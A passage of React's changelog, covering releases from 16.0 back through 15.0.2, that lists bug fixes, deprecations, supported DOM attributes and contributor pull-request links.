client-side rendering.\n* When \"unknown\" props are passed to DOM components, for valid values, React will now render them in the DOM. [See this post for more details.](https://reactjs.org/blog/2017/09/08/dom-attributes-in-react-16.html) ([@nhunzaker](https://github.com/nhunzaker) in [#10385](https://github.com/facebook/react/pull/10385), [10564](https://github.com/facebook/react/pull/10564), [#10495](https://github.com/facebook/react/pull/10495) and others)\n* Errors in the render and lifecycle methods now unmount the component tree by default. To prevent this, add [error boundaries](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html) to the appropriate places in the UI.\n\n### Removed Deprecations\n\n- There is no `react-with-addons.js` build anymore. All compatible addons are published separately on npm, and have single-file browser versions if you need them.\n- The deprecations introduced in 15.x have been removed from the core package. `React.createClass` is now available as create-react-class, `React.PropTypes` as prop-types, `React.DOM` as react-dom-factories, react-addons-test-utils as react-dom/test-utils, and shallow renderer as react-test-renderer/shallow. See [15.5.0](https://reactjs.org/blog/2017/04/07/react-v15.5.0.html) and [15.6.0](https://reactjs.org/blog/2017/06/13/react-v15.6.0.html) blog posts for instructions on migrating code and automated codemods.\n\n## 15.7.0 (October 14, 2020)\n\n### React\n\n* Backport support for the [new JSX transform](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) to 15.x. ([@lunaruan](https://github.com/lunaruan) in [#18299](https://github.com/facebook/react/pull/18299) and [@gaearon](https://github.com/gaearon) in [#20024](https://github.com/facebook/react/pull/20024))\n\n## 15.6.2 (September 25, 2017)\n\n### All Packages\n* Switch from BSD + Patents to MIT license\n\n### React DOM\n\n* Fix a bug where modifying `document.documentMode` would trigger IE detection in other browsers, breaking change events. ([@aweary](https://github.com/aweary) in [#10032](https://github.com/facebook/react/pull/10032))\n* CSS Columns are treated as unitless numbers. ([@aweary](https://github.com/aweary) in [#10115](https://github.com/facebook/react/pull/10115))\n* Fix bug in QtWebKit when wrapping synthetic events in proxies. ([@walrusfruitcake](https://github.com/walrusfruitcake) in [#10115](https://github.com/facebook/react/pull/10011))\n* Prevent event handlers from receiving extra argument in development. ([@aweary](https://github.com/aweary) in [#10115](https://github.com/facebook/react/pull/8363))\n* Fix cases where `onChange` would not fire with `defaultChecked` on radio inputs. ([@jquense](https://github.com/jquense) in [#10156](https://github.com/facebook/react/pull/10156))\n* Add support for `controlList` attribute to allowed DOM properties ([@nhunzaker](https://github.com/nhunzaker) in [#9940](https://github.com/facebook/react/pull/9940))\n* Fix a bug where creating an element with a ref in a constructor did not throw an error in development. ([@iansu](https://github.com/iansu) in [#10025](https://github.com/facebook/react/pull/10025))\n\n## 15.6.1 (June 14, 2017)\n\n### React DOM\n\n* Fix a crash on iOS Safari. ([@jquense](https://github.com/jquense) in [#9960](https://github.com/facebook/react/pull/9960))\n* Don't add `px` to custom CSS property values. ([@TrySound](https://github.com/TrySound) in [#9966](https://github.com/facebook/react/pull/9966))\n\n## 15.6.0 (June 13, 2017)\n\n### React\n\n* Downgrade deprecation warnings to use `console.warn` instead of `console.error`. ([@flarnie](https://github.com/flarnie) in [#9753](https://github.com/facebook/react/pull/9753))\n* Add a deprecation warning for `React.createClass`. Points users to `create-react-class` instead. ([@flarnie](https://github.com/flarnie) in [#9771](https://github.com/facebook/react/pull/9771))\n* Add deprecation warnings and separate module for `React.DOM` factory helpers. ([@nhunzaker](https://github.com/nhunzaker) in [#8356](https://github.com/facebook/react/pull/8356))\n* Warn for deprecation of `React.createMixin` helper, which was never used. ([@aweary](https://github.com/aweary) in [#8853](https://github.com/facebook/react/pull/8853))\n\n### React DOM\n\n* Add support for CSS variables in `style` attribute. ([@aweary](https://github.com/aweary) in [#9302](https://github.com/facebook/react/pull/9302))\n* Add support for CSS Grid style properties. ([@ericsakmar](https://github.com/ericsakmar) in [#9185](https://github.com/facebook/react/pull/9185))\n* Fix bug where inputs mutated value on type conversion. ([@nhunzaker](https://github.com/mhunzaker) in [#9806](https://github.com/facebook/react/pull/9806))\n* Fix issues with `onChange` not firing properly for some inputs. ([@jquense](https://github.com/jquense) in [#8575](https://github.com/facebook/react/pull/8575))\n* Fix bug where controlled number input mistakenly allowed period. ([@nhunzaker](https://github.com/nhunzaker) in [#9584](https://github.com/facebook/react/pull/9584))\n* Fix bug where performance entries were being cleared. ([@chrisui](https://github.com/chrisui) in [#9451](https://github.com/facebook/react/pull/9451))\n\n### React Addons\n\n* Fix AMD support for addons depending on `react`. ([@flarnie](https://github.com/flarnie) in [#9919](https://github.com/facebook/react/issues/9919))\n* Fix `isMounted()` to return `true` in `componentWillUnmount`. ([@mridgway](https://github.com/mridgway) in [#9638](https://github.com/facebook/react/issues/9638))\n* Fix `react-addons-update` to not depend on native `Object.assign`. ([@gaearon](https://github.com/gaearon) in [#9937](https://github.com/facebook/react/pull/9937))\n* Remove broken Google Closure Compiler annotation from `create-react-class`. ([@gaearon](https://github.com/gaearon) in [#9933](https://github.com/facebook/react/pull/9933))\n* Remove unnecessary dependency from `react-linked-input`. ([@gaearon](https://github.com/gaearon) in [#9766](https://github.com/facebook/react/pull/9766))\n* Point `react-addons-(css-)transition-group` to the new package. ([@gaearon](https://github.com/gaearon) in [#9937](https://github.com/facebook/react/pull/9937))\n\n## 15.5.4 (April 11, 2017)\n\n### React Addons\n* **Critical Bugfix:** Update the version of `prop-types` to fix critical bug.  ([@gaearon](https://github.com/gaearon) in [545c87f](https://github.com/facebook/react/commit/545c87fdc348f82eb0c3830bef715ed180785390))\n* Fix `react-addons-create-fragment` package to include `loose-envify` transform for Browserify users. ([@mridgway](https://github.com/mridgway) in [#9642](https://github.com/facebook/react/pull/9642))\n\n### React Test Renderer\n* Fix compatibility with Enzyme by exposing `batchedUpdates` on shallow renderer. ([@gaearon](https://github.com/gaearon) in [9382](https://github.com/facebook/react/commit/69933e25c37cf5453a9ef132177241203ee8d2fd))\n\n## 15.5.3 (April 7, 2017)\n\n**Note: this release has a critical issue and was deprecated. Please update to 15.5.4 or higher.**\n\n### React Addons\n* Fix `react-addons-create-fragment` package to export correct thing. ([@gaearon](https://github.com/gaearon) in [#9385](https://github.com/facebook/react/pull/9383))\n* Fix `create-react-class` package to include `loose-envify` transform for Browserify users. ([@mridgway](https://github.com/mridgway) in [#9642](https://github.com/facebook/react/pull/9642))\n\n## 15.5.2 (April 7, 2017)\n\n**Note: this release has a critical issue and was deprecated. Please update to 15.5.4 or higher.**\n\n### React Addons\n* Fix the production single-file builds to not include the development code. ([@gaearon](https://github.com/gaearon) in [#9385](https://github.com/facebook/react/pull/9383))\n* Apply better minification to production single-file builds. ([@gaearon](https://github.com/gaearon) in [#9385](https://github.com/facebook/react/pull/9383))\n* Add missing and remove unnecessary dependencies to packages. ([@gaearon](https://github.com/gaearon) in [#9385](https://github.com/facebook/react/pull/9383))\n\n## 15.5.1 (April 7, 2017)\n\n**Note: this release has a critical issue and was deprecated. Please update to 15.5.4 or higher.**\n\n### React\n* Fix erroneous PropTypes access warning. ([@acdlite](https://github.com/acdlite) in ([ec97ebb](https://github.com/facebook/react/commit/ec97ebbe7f15b58ae2f1323df39d06f119873344))\n\n## 15.5.0 (April 7, 2017)\n\n**Note: this release has a critical issue and was deprecated. Please update to 15.5.4 or higher.**\n\n### React\n* <s>Added a deprecation warning for `React.createClass`. Points users to create-react-class instead. ([@acdlite](https://github.com/acdlite) in [#d9a4fa4](https://github.com/facebook/react/commit/d9a4fa4f51c6da895e1655f32255cf72c0fe620e))</s>\n* Added a deprecation warning for `React.PropTypes`. Points users to prop-types instead. ([@acdlite](https://github.com/acdlite) in [#043845c](https://github.com/facebook/react/commit/043845ce75ea0812286bbbd9d34994bb7e01eb28))\n* Fixed an issue when using `ReactDOM` together with `ReactDOMServer`. ([@wacii](https://github.com/wacii) in [#9005](https://github.com/facebook/react/pull/9005))\n* Fixed issue with Closure Compiler. ([@anmonteiro](https://github.com/anmonteiro) in [#8895](https://github.com/facebook/react/pull/8895))\n* Another fix for Closure Compiler. ([@Shastel](https://github.com/Shastel) in [#8882](https://github.com/facebook/react/pull/8882))\n* Added component stack info to invalid element type warning. ([@n3tr](https://github.com/n3tr) in [#8495](https://github.com/facebook/react/pull/8495))\n\n### React DOM\n* Fixed Chrome bug when backspacing in number inputs. ([@nhunzaker](https://github.com/nhunzaker) in [#7359](https://github.com/facebook/react/pull/7359))\n* Added `react-dom/test-utils`, which exports the React Test Utils. ([@bvaughn](https://github.com/bvaughn))\n\n### React Test Renderer\n* Fixed bug where `componentWillUnmount` was not called for children. ([@gre](https://github.com/gre) in [#8512](https://github.com/facebook/react/pull/8512))\n* Added `react-test-renderer/shallow`, which exports the shallow renderer. ([@bvaughn](https://github.com/bvaughn))\n\n### React Addons\n* Last release for addons; they will no longer be actively maintained.\n* Removed `peerDependencies` so that addons continue to work indefinitely. ([@acdlite](https://github.com/acdlite) and [@bvaughn](https://github.com/bvaughn) in [8a06cd7](https://github.com/facebook/react/commit/8a06cd7a786822fce229197cac8125a551e8abfa) and [67a8db3](https://github.com/facebook/react/commit/67a8db3650d724a51e70be130e9008806402678a))\n* Updated to remove references to `React.createClass` and `React.PropTypes` ([@acdlite](https://github.com/acdlite) in [12a96b9](https://github.com/facebook/react/commit/12a96b94823d6b6de6b1ac13bd576864abd50175))\n* `react-addons-test-utils` is deprecated. Use `react-dom/test-utils` and `react-test-renderer/shallow` instead. ([@bvaughn](https://github.com/bvaughn))\n\n## 15.4.2 (January 6, 2017)\n\n### React\n* Fixed build issues with the Brunch bundler. ([@gaearon](https://github.com/gaearon) in [#8686](https://github.com/facebook/react/pull/8686))\n* Improved error messages for invalid element types. ([@sophiebits](https://github.com/sophiebits) in [#8612](https://github.com/facebook/react/pull/8612))\n* Removed a warning about `getInitialState` when `this.state` is set. ([@bvaughn](https://github.com/bvaughn) in [#8594](https://github.com/facebook/react/pull/8594))\n* Removed some dead code. ([@diegomura](https://github.com/diegomura) in [#8050](https://github.com/facebook/react/pull/8050), [@dfrownfelter](https://github.com/dfrownfelter) in [#8597](https://github.com/facebook/react/pull/8597))\n\n### React DOM\n* Fixed a decimal point issue on uncontrolled number inputs. ([@nhunzaker](https://github.com/nhunzaker) in [#7750](https://github.com/facebook/react/pull/7750))\n* Fixed rendering of textarea placeholder in IE11. ([@aweary](https://github.com/aweary) in [#8020](https://github.com/facebook/react/pull/8020))\n* Worked around a script engine bug in IE9. ([@eoin](https://github.com/eoin) in [#8018](https://github.com/facebook/react/pull/8018))\n\n### React Addons\n* Fixed build issues in RequireJS and SystemJS environments. ([@gaearon](https://github.com/gaearon) in [#8686](https://github.com/facebook/react/pull/8686))\n* Added missing package dependencies. ([@kweiberth](https://github.com/kweiberth) in [#8467](https://github.com/facebook/react/pull/8467))\n\n## 15.4.1 (November 22, 2016)\n\n### React\n* Restructure variable assignment to work around a Rollup bug ([@gaearon](https://github.com/gaearon) in [#8384](https://github.com/facebook/react/pull/8384))\n\n### React DOM\n* Fixed event handling on disabled button elements ([@sophiebits](https://github.com/sophiebits) in [#8387](https://github.com/facebook/react/pull/8387))\n* Fixed compatibility of browser build with AMD environments ([@zpao](https://github.com/zpao) in [#8374](https://github.com/facebook/react/pull/8374))\n\n## 15.4.0 (November 16, 2016)\n\n### React\n* React package and browser build no longer \"secretly\" includes React DOM. ([@sebmarkbage](https://github.com/sebmarkbage) in [#7164](https://github.com/facebook/react/pull/7164) and [#7168](https://github.com/facebook/react/pull/7168))\n* Required PropTypes now fail with specific messages for null and undefined. ([@chenglou](https://github.com/chenglou) in [#7291](https://github.com/facebook/react/pull/7291))\n* Improved development performance by freezing children instead of copying. ([@keyanzhang](https://github.com/keyanzhang) in [#7455](https://github.com/facebook/react/pull/7455))\n\n### React DOM\n* Fixed occasional test failures when React DOM is used together with shallow renderer. ([@goatslacker](https://github.com/goatslacker) in [#8097](https://github.com/facebook/react/pull/8097))\n* Added a warning for invalid `aria-` attributes. ([@jessebeach](https://github.com/jessebeach) in [#7744](https://github.com/facebook/react/pull/7744))\n* Added a warning for using `autofocus` rather than `autoFocus`. ([@hkal](https://github.com/hkal) in [#7694](https://github.com/facebook/react/pull/7694))\n* Removed an unnecessary warning about polyfilling `String.prototype.split`. ([@nhunzaker](https://github.com/nhunzaker) in [#7629](https://github.com/facebook/react/pull/7629))\n* Clarified the warning about not calling PropTypes manually. ([@jedwards1211](https://github.com/jedwards1211) in [#7777](https://github.com/facebook/react/pull/7777))\n* The unstable `batchedUpdates` API now passes the wrapped function's return value through. ([@bgnorlov](https://github.com/bgnorlov) in [#7444](https://github.com/facebook/react/pull/7444))\n* Fixed a bug with updating text in IE 8. ([@mnpenner](https://github.com/mnpenner) in [#7832](https://github.com/facebook/react/pull/7832))\n\n### React Perf\n* When ReactPerf is started, you can now view the relative time spent in components as a chart in Chrome Timeline. ([@gaearon](https://github.com/gaearon) in [#7549](https://github.com/facebook/react/pull/7549))\n\n### React Test Utils\n* If you call `Simulate.click()` on a `<input disabled onClick={foo} />` then `foo` will get called whereas it didn't before. ([@nhunzaker](https://github.com/nhunzaker) in [#7642](https://github.com/facebook/react/pull/7642))\n\n### React Test Renderer\n* Due to packaging changes, it no longer crashes when imported together with React DOM in the same file. ([@sebmarkbage](https://github.com/sebmarkbage) in [#7164](https://github.com/facebook/react/pull/7164) and [#7168](https://github.com/facebook/react/pull/7168))\n* `ReactTestRenderer.create()` now accepts `{createNodeMock: element => mock}` as an optional argument so you can mock refs with snapshot testing. ([@Aweary](https://github.com/Aweary) in [#7649](https://github.com/facebook/react/pull/7649), [#8261](https://github.com/facebook/react/pull/8261))\n\n\n## 15.3.2 (September 19, 2016)\n\n### React\n- Remove plain object warning from React.createElement & React.cloneElement. ([@spudly](https://github.com/spudly) in [#7724](https://github.com/facebook/react/pull/7724))\n\n### React DOM\n- Add `playsInline` to supported HTML attributes. ([@reaperhulk](https://github.com/reaperhulk) in [#7519](https://github.com/facebook/react/pull/7519))\n- Add `as` to supported HTML attributes. ([@kevinslin](https://github.com/kevinslin) in [#7582](https://github.com/facebook/react/pull/7582))\n- Improve DOM nesting validation warning about whitespace. ([@sophiebits](https://github.com/sophiebits) in [#7515](https://github.com/facebook/react/pull/7515))\n- Avoid \"Member not found\" exception in IE10 when calling `preventDefault()` in Synthetic Events. ([@g-palmer](https://github.com/g-palmer) in [#7411](https://github.com/facebook/react/pull/7411))\n- Fix memory leak in `onSelect` implementation. ([@AgtLucas](https://github.com/AgtLucas) in [#7533](https://github.com/facebook/react/pull/7533))\n- Improve robustness of `document.documentMode` checks to handle Google Tag Manager. ([@SchleyB](https://github.com/SchleyB) in [#7594](https://github.com/facebook/react/pull/7594))\n- Add more cases to controlled inputs warning. ([@marcin-mazurek](https://github.com/marcin-mazurek) in [#7544](https://github.com/facebook/react/pull/7544))\n- Handle case of popup blockers overriding `document.createEvent`. ([@Andarist](https://github.com/Andarist) in [#7621](https://github.com/facebook/react/pull/7621))\n- Fix issue with `dangerouslySetInnerHTML` and SVG in Internet Explorer. ([@zpao](https://github.com/zpao) in [#7618](https://github.com/facebook/react/pull/7618))\n- Improve handling of Japanese IME on Internet Explorer. ([@msmania](https://github.com/msmania) in [#7107](https://github.com/facebook/react/pull/7107))\n\n### React Test Renderer\n- Support error boundaries. ([@millermedeiros](https://github.com/millermedeiros) in [#7558](https://github.com/facebook/react/pull/7558), [#7569](https://github.com/facebook/react/pull/7569), [#7619](https://github.com/facebook/react/pull/7619))\n- Skip null ref warning. ([@Aweary](https://github.com/Aweary) in [#7658](https://github.com/facebook/react/pull/7658))\n\n### React Perf Add-on\n- Ensure lifecycle timers are stopped on errors. ([@gaearon](https://github.com/gaearon) in [#7548](https://github.com/facebook/react/pull/7548))\n\n\n## 15.3.1 (August 19, 2016)\n\n### React\n\n- Improve performance of development builds in various ways. ([@gaearon](https://github.com/gaearon) in [#7461](https://github.com/facebook/react/pull/7461), [#7463](https://github.com/facebook/react/pull/7463), [#7483](https://github.com/facebook/react/pull/7483), [#7488](https://github.com/facebook/react/pull/7488), [#7491](https://github.com/facebook/react/pull/7491), [#7510](https://github.com/facebook/react/pull/7510))\n- Cleanup internal hooks to improve performance of development builds. ([@gaearon](https://github.com/gaearon) in [#7464](https://github.com/facebook/react/pull/7464), [#7472](https://github.com/facebook/react/pull/7472), [#7481](https://github.com/facebook/react/pull/7481), [#7496](https://github.com/facebook/react/pull/7496))\n- Upgrade fbjs to pick up another performance improvement from [@gaearon](https://github.com/gaearon) for development builds. ([@zpao](https://github.com/zpao) in [#7532](https://github.com/facebook/react/pull/7532))\n- Improve startup time of React in Node. ([@zertosh](https://github.com/zertosh) in [#7493](https://github.com/facebook/react/pull/7493))\n- Improve error message of `React.Children.only`. ([@sophiebits](https://github.com/sophiebits) in [#7514](https://github.com/facebook/react/pull/7514))\n\n### React DOM\n- Avoid `<input>` validation warning from browsers when changing `type`. ([@nhunzaker](https://github.com/nhunzaker) in [#7333](https://github.com/facebook/react/pull/7333))\n- Avoid \"Member not found\" exception in IE10 when calling `stopPropagation()` in Synthetic Events. ([@nhunzaker](https://github.com/nhunzaker) in [#7343](https://github.com/facebook/react/pull/7343))\n- Fix issue resulting in inability to update some `<input>` elements in mobile browsers. ([@keyanzhang](https://github.com/keyanzhang) in [#7397](https://github.com/facebook/react/pull/7397))\n- Fix memory leak in server rendering. ([@keyanzhang](https://github.com/keyanzhang) in [#7410](https://github.com/facebook/react/pull/7410))\n- Fix issue resulting in `<input type=\"range\">` values not updating when changing `min` or `max`. ([@troydemonbreun](https://github.com/troydemonbreun) in [#7486](https://github.com/facebook/react/pull/7486))\n- Add new warning for rare case of attempting to unmount a container owned by a different copy of React. ([@ventuno](https://github.com/ventuno) in [#7456](https://github.com/facebook/react/pull/7456))\n\n### React Test Renderer\n- Fix ReactTestInstance::toJSON() with empty top-level components. ([@Morhaus](https://github.com/Morhaus) in [#7523](https://github.com/facebook/react/pull/7523))\n\n### React Native Renderer\n- Change `trackedTouchCount` invariant into a console.error for better reliability. ([@yungsters](https://github.com/yungsters) in [#7400](https://github.com/facebook/react/pull/7400))\n\n\n## 15.3.0 (July 29, 2016)\n\n### React\n- Add `React.PureComponent` - a new base class to extend, replacing `react-addons-pure-render-mixin` now that mixins don't work with ES2015 classes. ([@sophiebits](https://github.com/sophiebits) in [#7195](https://github.com/facebook/react/pull/7195))\n- Add new warning when modifying `this.props.children`. ([@jimfb](https://github.com/jimfb) in [#7001](https://github.com/facebook/react/pull/7001))\n- Fixed issue with ref resolution order. ([@gaearon](https://github.com/gaearon) in [#7101](https://github.com/facebook/react/pull/7101))\n- Warn when mixin is undefined. ([@swaroopsm](https://github.com/swaroopsm) in [#6158](https://github.com/facebook/react/pull/6158))\n- Downgrade \"unexpected batch number\" invariant to a warning. ([@sophiebits](https://github.com/sophiebits) in [#7133](https://github.com/facebook/react/pull/7133))\n- Validate arguments to `oneOf` and `oneOfType` PropTypes sooner. ([@troydemonbreun](https://github.com/troydemonbreun) in [#6316](https://github.com/facebook/react/pull/6316))\n- Warn when calling PropTypes directly. ([@Aweary](https://github.com/Aweary) in [#7132](https://github.com/facebook/react/pull/7132), [#7194](https://github.com/facebook/react/pull/7194))\n- Improve warning when using Maps as children. ([@keyanzhang](https://github.com/keyanzhang) in [#7260](https://github.com/facebook/react/pull/7260))\n- Add additional type information to the `PropTypes.element` warning. ([@alexzherdev](https://github.com/alexzherdev) in [#7319](https://github.com/facebook/react/pull/7319))\n- Improve component identification in no-op `setState` warning. ([@keyanzhang](https://github.com/keyanzhang) in [#7326](https://github.com/facebook/react/pull/7326))\n\n### React DOM\n- Fix issue with nested server rendering. ([@Aweary](https://github.com/Aweary) in [#7033](https://github.com/facebook/react/pull/7033))\n- Add `xmlns`, `xmlnsXlink` to supported SVG attributes. ([@salzhrani](https://github.com/salzhrani) in [#6471](https://github.com/facebook/react/pull/6471))\n- Add `referrerPolicy` to supported HTML attributes. ([@Aweary](https://github.com/Aweary) in [#7274](https://github.com/facebook/react/pull/7274))\n- Fix issue resulting in `<input type=\"range\">` initial value being rounded. ([@troydemonbreun](https://github.com/troydemonbreun) in [#7251](https://github.com/facebook/react/pull/7251))\n\n### React Test Renderer\n- Initial public release of package allowing more focused testing. Install with `npm install react-test-renderer`. ([@sophiebits](https://github.com/sophiebits) in [#6944](https://github.com/facebook/react/pull/6944), [#7258](https://github.com/facebook/react/pull/7258), [@iamdustan](https://github.com/iamdustan) in [#7362](https://github.com/facebook/react/pull/7362))\n\n### React Perf Add-on\n- Fix issue resulting in excessive warnings when encountering an internal measurement error. ([@sassanh](https://github.com/sassanh) in [#7299](https://github.com/facebook/react/pull/7299))\n\n### React TestUtils Add-on\n- Implement `type` property on for events created via `TestUtils.Simulate.*`. ([@yaycmyk](https://github.com/yaycmyk) in [#6154](https://github.com/facebook/react/pull/6154))\n- Fix crash when running TestUtils with the production build of React. ([@gaearon](https://github.com/gaearon) in [#7246](https://github.com/facebook/react/pull/7246))\n\n\n## 15.2.1 (July 8, 2016)\n\n### React\n- Fix errant warning about missing React element. ([@gaearon](https://github.com/gaearon) in [#7193](https://github.com/facebook/react/pull/7193))\n- Better removal of dev-only code, leading to a small reduction in the minified production bundle size. ([@gaearon](https://github.com/gaearon) in [#7188](https://github.com/facebook/react/pull/7188), [#7189](https://github.com/facebook/react/pull/7189))\n\n### React DOM\n- Add stack trace to null input value warning. ([@jimfb](https://github.com/jimfb) in [#7040](https://github.com/facebook/react/pull/7040))\n- Fix webcomponents example. ([@jalexanderfox](https://github.com/jalexanderfox) in [#7057](https://github.com/facebook/react/pull/7057))\n- Fix `unstable_renderSubtreeIntoContainer` so that context properly updates when linked to state. ([@gaearon](https://github.com/gaearon) in [#7125](https://github.com/facebook/react/pull/7125))\n- Improve invariant wording for void elements. ([@starkch](https://github.com/starkch) in [#7066](https://github.com/facebook/react/pull/7066))\n- Ensure no errors are thrown due to event handlers in server rendering. ([@rricard](https://github.com/rricard) in [#7127](https://github.com/facebook/react/pull/7127))\n- Fix regression resulting in `value`-less submit and reset inputs removing the browser-default text. ([@zpao](https://github.com/zpao) in [#7197](https://github.com/facebook/react/pull/7197))\n- Fix regression resulting in empty `name` attribute being added to inputs when not provided. ([@okonet](https://github.com/okonet) in [#7199](https://github.com/facebook/react/pull/7199))\n- Fix issue with nested server rendering. ([@Aweary](https://github.com/Aweary) in [#7033](https://github.com/facebook/react/pull/7033))\n\n### React Perf Add-on\n- Make `ReactPerf.start()` work properly during lifecycle methods. ([@gaearon](https://github.com/gaearon) in [#7208](https://github.com/facebook/react/pull/7208)).\n\n### React CSSTransitionGroup Add-on\n- Fix issue resulting in spurious unknown property warnings. ([@batusai513](https://github.com/batusai513) in [#7165](https://github.com/facebook/react/pull/7165))\n\n### React Native Renderer\n- Improve error handling in cross-platform touch event handling. ([@yungsters](https://github.com/yungsters) in [#7143](https://github.com/facebook/react/pull/7143))\n\n\n## 15.2.0 (July 1, 2016)\n\n### React\n- Add error codes to production invariants, with links to the view the full error text. ([@keyanzhang](https://github.com/keyanzhang) in [#6948](https://github.com/facebook/react/pull/6948))\n- Include component stack information in PropType validation warnings. ([@troydemonbreun](https://github.com/troydemonbreun) in [#6398](https://github.com/facebook/react/pull/6398), [@sophiebits](https://github.com/sophiebits) in [#6771](https://github.com/facebook/react/pull/6771))\n- Include component stack information in key warnings. ([@keyanzhang](https://github.com/keyanzhang) in [#6799](https://github.com/facebook/react/pull/6799))\n- Stop validating props at mount time, only validate at element creation. ([@keyanzhang](https://github.com/keyanzhang) in [#6824](https://github.com/facebook/react/pull/6824))\n- New invariant providing actionable error in missing instance case. ([@yungsters](https://github.com/yungsters) in [#6990](https://github.com/facebook/react/pull/6990))\n- Add `React.PropTypes.symbol` to support ES2015 Symbols as props. ([@puradox](https://github.com/puradox) in [#6377](https://github.com/facebook/react/pull/6377))\n- Fix incorrect coercion of ref or key that are undefined in development ([@gaearon](https://github.com/gaearon) in [#6880](https://github.com/facebook/react/pull/6880))\n- Fix a false positive when passing other element’s props to cloneElement ([@ericmatthys](https://github.com/ericmatthys) in [#6268](https://github.com/facebook/react/pull/6268))\n- Warn if you attempt to define `childContextTypes` on a functional component ([@Aweary](https://github.com/Aweary) in [#6933](https://github.com/facebook/react/pull/6933))\n\n### React DOM\n- Add warning for unknown properties on DOM elements. ([@jimfb](https://github.com/jimfb) in [#6800](https://github.com/facebook/react/pull/6800), [@gm758](https://github.com/gm758) in [#7152](https://github.com/facebook/react/pull/7152))\n- Properly remove attributes from custom elements. ([@grassator](https://github.com/grassator) in [#6748](https://github.com/facebook/react/pull/6748))\n- Fix invalid unicode escape in attribute name regular expression. ([@nbjahan](https://github.com/nbjahan) in [#6772](https://github.com/facebook/react/pull/6772))\n- Add `onLoad` handling to `<link>` element. ([@roderickhsiao](https://github.com/roderickhsiao) in [#6815](https://github.com/facebook/react/pull/6815))\n- Add `onError` handling to `<source>` element. ([@wadahiro](https://github.com/wadahiro) in [#6941](https://github.com/facebook/react/pull/6941))\n- Handle `value` and `defaultValue` more accurately in the DOM. ([@jimfb](https://github.com/jimfb) in [#6406](https://github.com/facebook/react/pull/6406))\n- Fix events issue in environments with mutated `Object.prototype`. ([@Weizenlol](https://github.com/Weizenlol) in [#6886](https://github.com/facebook/react/pull/6886))\n- Fix issue where `is=\"null\"` ended up in the DOM in Firefox. ([@darobin](https://github.com/darobin) in [#6896](https://github.com/facebook/react/pull/6896))\n- Improved performance of text escaping by using [escape-html](https://github.com/component/escape-html). ([@aickin](https://github.com/aickin) in [#6862](https://github.com/facebook/react/pull/6862))\n- Fix issue with `dangerouslySetInnerHTML` and SVG in Internet Explorer. ([@joshhunt](https://github.com/joshhunt) in [#6982](https://github.com/facebook/react/pull/6982))\n- Fix issue with `<textarea>` placeholders. ([@jimfb](https://github.com/jimfb) in [#7002](https://github.com/facebook/react/pull/7002))\n- Fix controlled vs uncontrolled detection of `<input type=\"radio\"/>`. ([@jimfb](https://github.com/jimfb) in [#7003](https://github.com/facebook/react/pull/7003))\n- Improve performance of updating text content. ([@trueadm](https://github.com/trueadm) in [#7005](https://github.com/facebook/react/pull/7005))\n- Ensure controlled `<select>` components behave the same on initial render as they do on updates. ([@yiminghe](https://github.com/yiminghe) in [#5362](https://github.com/facebook/react/pull/5362))\n\n### React Perf Add-on\n- Add `isRunning()` API. ([@nfcampos](https://github.com/nfcampos) in [#6763](https://github.com/facebook/react/pull/6763))\n- Improve accuracy of lifecycle hook timing. ([@gaearon](https://github.com/gaearon) in [#6858](https://github.com/facebook/react/pull/6858))\n- Fix internal errors when using ReactPerf with portal components. ([@gaearon](https://github.com/gaearon) in [#6860](https://github.com/facebook/react/pull/6860))\n- Fix performance regression. ([@sophiebits](https://github.com/sophiebits) in [#6770](https://github.com/facebook/react/pull/6770))\n- Add warning that ReactPerf is not enabled in production. ([@sashashakun](https://github.com/sashashakun) in [#6884](https://github.com/facebook/react/pull/6884))\n\n### React CSSTransitionGroup Add-on\n- Fix timing issue with `null` node. ([@keyanzhang](https://github.com/keyanzhang) in [#6958](https://github.com/facebook/react/pull/6958))\n\n### React Native Renderer\n- Dependencies on React Native modules use CommonJS requires instead of providesModule. ([@davidaurelio](https://github.com/davidaurelio) in [#6715](https://github.com/facebook/react/pull/6715))\n\n\n## 15.1.0 (May 20, 2016)\n\n### React\n- Ensure we're using the latest `object-assign`, which has protection against a non-spec-compliant native `Object.assign`. ([@zpao](https://github.com/zpao) in [#6681](https://github.com/facebook/react/pull/6681))\n- Add a new warning to communicate that `props` objects passed to `createElement` must be plain objects. ([@richardscarrott](https://github.com/richardscarrott) in [#6134](https://github.com/facebook/react/pull/6134))\n- Fix a batching bug resulting in some lifecycle methods incorrectly being called multiple times. ([@sophiebits](https://github.com/sophiebits) in [#6650](https://github.com/facebook/react/pull/6650))\n\n### React DOM\n- Fix regression in custom elements support. ([@jscissr](https://github.com/jscissr) in [#6570](https://github.com/facebook/react/pull/6570))\n- Stop incorrectly warning about using `onScroll` event handler with server rendering. ([@Aweary](https://github.com/Aweary) in [#6678](https://github.com/facebook/react/pull/6678))\n- Fix grammar in the controlled input warning. ([@jakeboone02](https://github.com/jakeboone02) in [#6657](https://github.com/facebook/react/pull/6657))\n- Fix issue preventing `<object>` nodes from being able to read `<param>` nodes in IE. ([@syranide](https://github.com/syranide) in [#6691](https://github.com/facebook/react/pull/6691))\n- Fix issue resulting in crash when using experimental error boundaries with server rendering. ([@jimfb](https://github.com/jimfb) in [#6694](https://github.com/facebook/react/pull/6694))\n- Add additional information to the controlled input warning. ([@borisyankov](https://github.com/borisyankov) in [#6341](https://github.com/facebook/react/pull/6341))\n\n### React Perf Add-on\n- Completely rewritten to collect data more accurately and to be easier to maintain. ([@gaearon](https://github.com/gaearon) in [#6647](https://github.com/facebook/react/pull/6647), [#6046](https://github.com/facebook/react/pull/6046))\n\n### React Native Renderer\n- Remove some special cases for platform specific branching. ([@sebmarkbage](https://github.com/sebmarkbage) in [#6660](https://github.com/facebook/react/pull/6660))\n- Remove use of `merge` utility. ([@sebmarkbage](https://github.com/sebmarkbage) in [#6634](https://github.com/facebook/react/pull/6634))\n- Renamed some modules to better indicate usage ([@javache](https://github.com/javache) in [#6643](https://github.com/facebook/react/pull/6643))\n\n\n## 15.0.2 (April 29, 2016)\n\n### React\n- Removed extraneous files from npm package. ([@gaearon](https://github.com/gaearon) in [#6388](https://github.com/facebook/react/pull/6388))\n- Ensure `componentWillUnmount` is only called once. ([@jimfb](https://github.com/jimfb) in [#6613](https://github.com/facebook/react/pull/6613))\n\n### ReactDOM\n- Fixed bug resulting in disabled buttons responding to mouse events in IE. ([@nhunzaker](https://github.com/nhunzaker) in [#6215](https://github.com/facebook/react/pull/6215))\n- Ensure `<option>`s are correctly selected when inside `<optgroup>`. ([@trevorsmith](https://github.com/trevorsmith) in [#6442](https://github.com/facebook/react/pull/6442))\n- 